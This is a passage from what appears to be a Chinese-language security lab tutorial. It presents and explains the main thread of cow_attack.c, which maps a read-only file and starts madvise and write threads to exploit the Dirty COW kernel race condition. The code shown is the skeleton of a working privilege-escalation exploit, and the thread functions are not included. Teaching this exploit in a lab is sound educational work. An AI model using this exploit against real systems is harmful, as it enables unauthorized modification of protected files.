解压实验文件 zip 可以获得 cow_attack.c。该程序包含三个线程:主线程、write 线程和 madvise 线程。 主线程将 /zzz 映射到内存中,找到模式 "222222" 的位置,然后创建两个线程来利用操作系统内核中的 Dirty COW 竞争条件漏洞。
/* cow_attack.c (主线程) */
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/stat.h>
#include <string.h>
void *map;
int main(int argc, char *argv[])
{
pthread_t pth1,pth2;
struct stat st;
int file_size;
// 以只读模式打开目标文件。
int f=open("/zzz", O_RDONLY);
// 使用 MAP_PRIVATE 将文件映射到 COW 内存。
fstat(f, &st);
file_size = st.st_size;
map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);
// 找到目标区域的位置
char *position = strstr(map, "222222"); ①
// 我们需要使用两个线程进行攻击。
pthread_create(&pth1, NULL, madviseThread, (void *)file_size); ②
pthread_create(&pth2, NULL, writeThread, position); ③
// 等待线程结束。
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
return 0;
}
在上述代码中,我们需要找到字符串 "222222" 的位置。 我们使用一个字符串函数 strstr() 来找到映射内存中 "222222" 的位置(行 ①)。然后,我们启动两个线程: madviseThread(行 ②)和 writeThread(行 ③)。